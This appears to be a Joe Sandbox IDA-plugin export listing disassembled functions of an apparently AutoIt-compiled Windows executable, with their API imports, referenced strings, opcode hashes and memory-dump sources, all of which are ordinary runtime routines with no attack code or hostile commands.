Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: b043e4069ec8a2d97ebf400b75862b25e8da4b88ec09e2239a10c707c8aee8e2
Instruction ID: 247454510c396b3d8d2e816daca26346276a872c35c88485b56073ddf60abf55
Opcode Fuzzy Hash: b043e4069ec8a2d97ebf400b75862b25e8da4b88ec09e2239a10c707c8aee8e2
Instruction Fuzzy Hash: F721BF32600229BFDF159F50CC46FEA3B76EF48764F114218FA196B2D0D6B5AD909B90

Function 00674653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00674705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00674713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0067471A

Strings

msctls_updown32, xrefs: 00674684

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: c0f0ad259a40b7ce8ad0fee66d736c26a5c8ec45cb552b775e5d6c8b902a6fbf
Instruction ID: 59085586528133c79ee86495b108a4769958ef2ba91cfdd4dc48bf10f869b20c
Opcode Fuzzy Hash: c0f0ad259a40b7ce8ad0fee66d736c26a5c8ec45cb552b775e5d6c8b902a6fbf
Instruction Fuzzy Hash: 32219DB5600209BFEB14DF64DCD5DA737AEEF8A3A4B004149FA049B391DB30EC51CA60

Function 006495AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0064961D

Strings

#OnAutoItStartRegister, xrefs: 006495F3
#notrayicon, xrefs: 006495B7
#requireadmin, xrefs: 006495D9

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: 371152fcb67d680b33994b0e73eec955d70ea447ff247a46462f95ee39f6429b
Instruction ID: 8fbd195841f45f705241eb23f3bac66f04ce5e76eced974eea6427cbfdeab10e
Opcode Fuzzy Hash: 371152fcb67d680b33994b0e73eec955d70ea447ff247a46462f95ee39f6429b
Instruction Fuzzy Hash: B5215B7218411166D335AB25EC06FF773DBEF95320F11842AF98997282EB519D42C2F5

Function 006737B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00673840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00673850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00673876

Strings

Listbox, xrefs: 0067380F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 020c324ed92966099e2f551c26917350561d47b22e1356428ed00ba8852311a6
Instruction ID: 43e1100c3580827ba9c3933a70cae4e0a2752bb563260bbb263032ac6ad27028
Opcode Fuzzy Hash: 020c324ed92966099e2f551c26917350561d47b22e1356428ed00ba8852311a6
Instruction Fuzzy Hash: 2621B072610228BBEB158F54CC85EEB376FEF89760F108114F9489B290C672DC529BA0

Function 006549F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00654A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00654A5C
SetErrorMode.KERNEL32(00000000,?,?,0067CC08), ref: 00654AD0

Strings

%lu, xrefs: 00654A6F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: 5e57f9d13b880da3dfb2db88ce1fe477a04e41c66f1e86bce146ebe0471c06d7
Instruction ID: f2aa75cecc1c36fe34f0fb6792e7e8641126f9101001f5a95f6fd524d7d4b590
Opcode Fuzzy Hash: 5e57f9d13b880da3dfb2db88ce1fe477a04e41c66f1e86bce146ebe0471c06d7
Instruction Fuzzy Hash: 76318070A00109AFDB14DF54C885EAA7BF9EF48308F1480A9F809DB252DB71ED85CB61

Function 006741EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 0067424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00674264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00674271

Strings

msctls_trackbar32, xrefs: 00674226

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 72c5fd585f12144eca8fe618d9bc35801793b0ab3e76dfa8b67c3a9189addff2
Instruction ID: b02f9435c15687c6f684afe26a3f51ba42a22ff56f62da6f84a4b4da102da93e
Opcode Fuzzy Hash: 72c5fd585f12144eca8fe618d9bc35801793b0ab3e76dfa8b67c3a9189addff2
Instruction Fuzzy Hash: 6211E331240248BEEF209F29CC0AFEB3BAEEF95B64F114518FA59E6190D671DC619B14

Function 00642F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005E6B57: _wcslen.LIBCMT ref: 005E6B6A

Part of subcall function 00642DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00642DC5
Part of subcall function 00642DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 00642DD6
Part of subcall function 00642DA7: GetCurrentThreadId.KERNEL32 ref: 00642DDD
Part of subcall function 00642DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00642DE4

GetFocus.USER32 ref: 00642F78

Part of subcall function 00642DEE: GetParent.USER32(00000000), ref: 00642DF9

GetClassNameW.USER32(?,?,00000100), ref: 00642FC3
EnumChildWindows.USER32(?,0064303B), ref: 00642FEB

Strings

%s%d, xrefs: 00642FFF

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: 8a6a179264345e0a51e69b57f60fd73a3252e16ce278305e900c1711ece72c78
Instruction ID: 21baf48523a0cadb318061478b2c9f64a7cbd15ac982d1256f7a13f973f276de
Opcode Fuzzy Hash: 8a6a179264345e0a51e69b57f60fd73a3252e16ce278305e900c1711ece72c78
Instruction Fuzzy Hash: AF11D3716002166BCF55BF708CD9EEE3BABAF94354F148079F9099B292DE309949CB70

Function 00675882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 006758C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 006758EE
DrawMenuBar.USER32(?), ref: 006758FD

Strings

0, xrefs: 0067588F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: 28ef781ac13f37beb718c410b554bbf34db6fc7a4f08beac421950b14bcba159
Instruction ID: 5965ed9a1c55ea712a6e1334a5ef23368f662a70ee09d7f7bb75ce0c641bfd48
Opcode Fuzzy Hash: 28ef781ac13f37beb718c410b554bbf34db6fc7a4f08beac421950b14bcba159
Instruction Fuzzy Hash: 4A018E31500209EFDB109F11DC44BAEBBBAFF45360F10C099EA4EDA251DB708A94DF20

Function 0063D3A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 0063D3BF
FreeLibrary.KERNEL32 ref: 0063D3E5

Strings

GetSystemWow64DirectoryW, xrefs: 0063D3B9
X64, xrefs: 0063D2A8

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 3013587201-2590602151
Opcode ID: 81513435a22f55040096667b25081839cda1ce04923d97813b5c523e67b49ffe
Instruction ID: 959eb47990f04f8f5dc28ab22a1e7bdffc217ded409762cb5f74aeaf68e6373b
Opcode Fuzzy Hash: 81513435a22f55040096667b25081839cda1ce04923d97813b5c523e67b49ffe
Instruction Fuzzy Hash: E9F0A371C01520D7E37117105C189EE3717AF12711F94802DF905E2204EB30CF8087D2

Function 0064007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66b8fe06ab486e2ba927d76fb9cbe47fcd401fc7637c64727336e4b0ea9fae29
Instruction ID: d2a426c42cddbb6d8537683118016383a75eadc8676e960ebf322113d24954f2
Opcode Fuzzy Hash: 66b8fe06ab486e2ba927d76fb9cbe47fcd401fc7637c64727336e4b0ea9fae29
Instruction Fuzzy Hash: BDC16F75A00226EFDB15CFA4C894EAEBBB6FF48704F108598E505EB251D771EE41CB90

Function 0066342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00663459
CoUninitialize.OLE32 ref: 00663463
VariantInit.OLEAUT32(?), ref: 0066346E
VariantClear.OLEAUT32(?), ref: 0066371B

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: ef9042534c6100b2f33ace6becce3f0ae4437229268b46499f37c7abc426df80
Instruction ID: aabf1d184f5d054a21d21d26c6ac58520b7f69a4103156c3daa53c5cde581df9
Opcode Fuzzy Hash: ef9042534c6100b2f33ace6becce3f0ae4437229268b46499f37c7abc426df80
Instruction Fuzzy Hash: CBA139756047159FC714DF29C489A2ABBE6FF88714F04885DF98A9B362DB30EE01CB91

Function 00640436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,0067FC08,?), ref: 006405F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,0067FC08,?), ref: 00640608
CLSIDFromProgID.OLE32(?,?,00000000,0067CC40,000000FF,?,00000000,00000800,00000000,?,0067FC08,?), ref: 0064062D
_memcmp.LIBVCRUNTIME ref: 0064064E

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 7ebc5943ea48d64f9b28b5a94f636537c0ca0db9c8300297546038df41164feb
Instruction ID: 83beed4765d24c7e91afa090886da7bbf39534fdc64ea48ce00d799a22d9bb05
Opcode Fuzzy Hash: 7ebc5943ea48d64f9b28b5a94f636537c0ca0db9c8300297546038df41164feb
Instruction Fuzzy Hash: EC812C71A00119EFDB04DF94C984DEEB7BAFF89315F204598E606AB250DB71AE06CF60

Function 0066A67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0066A6AC
Process32FirstW.KERNEL32(00000000,?), ref: 0066A6BA

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

Process32NextW.KERNEL32(00000000,?), ref: 0066A79C
CloseHandle.KERNEL32(00000000), ref: 0066A7AB

Part of subcall function 005FCE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00623303,?), ref: 005FCE8A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: a8968b5af8408e0078c3a746d3c7ee7126d81e7590bbb4acafce6c6d3c8542aa
Instruction ID: 925a750ee049d3e44a7fc5be352471e2726e0a376c41ee781842dbfb4be443db
Opcode Fuzzy Hash: a8968b5af8408e0078c3a746d3c7ee7126d81e7590bbb4acafce6c6d3c8542aa
Instruction Fuzzy Hash: 6E518E715083419FC714EF25C88AA6BBBE9FFC8754F40492DF58997252EB30E904CB92

Function 00621391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 006214C0

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f8de659a8ca97ff9327c6cb96dcef1bd2af8ce6e069f5bb2704066a059ef83af
Instruction ID: 1a3b823e5d6ab8d6f5cbd79ec3aa1f4bb9078889e14845373d639a611297c0c3
Opcode Fuzzy Hash: f8de659a8ca97ff9327c6cb96dcef1bd2af8ce6e069f5bb2704066a059ef83af
Instruction Fuzzy Hash: D1415B31504920ABDB257FF8AC456EF3AE7EF63370F144229F41CDA2D1E63049815B65

Function 00676278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 006762E2
ScreenToClient.USER32(?,?), ref: 00676315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00676382

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: a27aaaed852cb627d208c20bca246e77b65c103db573936cd25ee41accffd3e8
Instruction ID: 4012ba3ca8fd9a4b3075d30e735ad3221b299dd784d68ec14a647f97232cb862
Opcode Fuzzy Hash: a27aaaed852cb627d208c20bca246e77b65c103db573936cd25ee41accffd3e8
Instruction Fuzzy Hash: 77511A74A00649EFDB14DF68D8809EE7BB6FF45360F109259F8299B390D730AE81CB90

Function 00661AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00661AFD
WSAGetLastError.WSOCK32 ref: 00661B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00661B8A
WSAGetLastError.WSOCK32 ref: 00661B94

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 17412b468d480faec5ca850f5d3a460db91584cac3cd87dfb89dcd45bd3dbd5f
Instruction ID: 81c0c529ef3c05d577bdf5f4ab7dd1237a12a66699e99686dc634feb213dd086
Opcode Fuzzy Hash: 17412b468d480faec5ca850f5d3a460db91584cac3cd87dfb89dcd45bd3dbd5f
Instruction Fuzzy Hash: 1841B6346002016FD7249F24C88AF757BE6AB85718F58845CF6599F3D3D771DD428B90

Function 0061B41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58f3d1205506088f2572c26bdc6738fdf6934319665522ad7061c0e607cc5aff
Instruction ID: c63437dd284e0a9c27458137725a371d1077e0c90fce70387a12804e04036706
Opcode Fuzzy Hash: 58f3d1205506088f2572c26bdc6738fdf6934319665522ad7061c0e607cc5aff
Instruction Fuzzy Hash: C2410671A00714AFD7249F78CC41BEABBEBEF88710F14852EF141DB692D77199818B94

Function 006556D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00655783
GetLastError.KERNEL32(?,00000000), ref: 006557A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 006557CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 006557FA

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 95ea5ccbe0a9c4f5d8135523674204288bf4c88f5fb549093a3c8e6fbc59ece1
Instruction ID: 6b50ed600fd6925702400f6d09799db1d0666c894b8fb7b8e478780884d475d7
Opcode Fuzzy Hash: 95ea5ccbe0a9c4f5d8135523674204288bf4c88f5fb549093a3c8e6fbc59ece1
Instruction Fuzzy Hash: DA413B35600A51DFCB14DF15C448A5EBBE2BF89321F188489EC9AAB362DB30FD45CB91

Function 0061D8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,00606D71,00000000,00000000,006082D9,?,006082D9,?,00000001,00606D71,?,00000001,006082D9,006082D9), ref: 0061D910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0061D999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 0061D9AB
__freea.LIBCMT ref: 0061D9B4

Part of subcall function 00613820: RtlAllocateHeap.NTDLL(00000000,?,006B1444,?,005FFDF5,?,?,005EA976,00000010,006B1440,005E13FC,?,005E13C6,?,005E1129), ref: 00613852

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

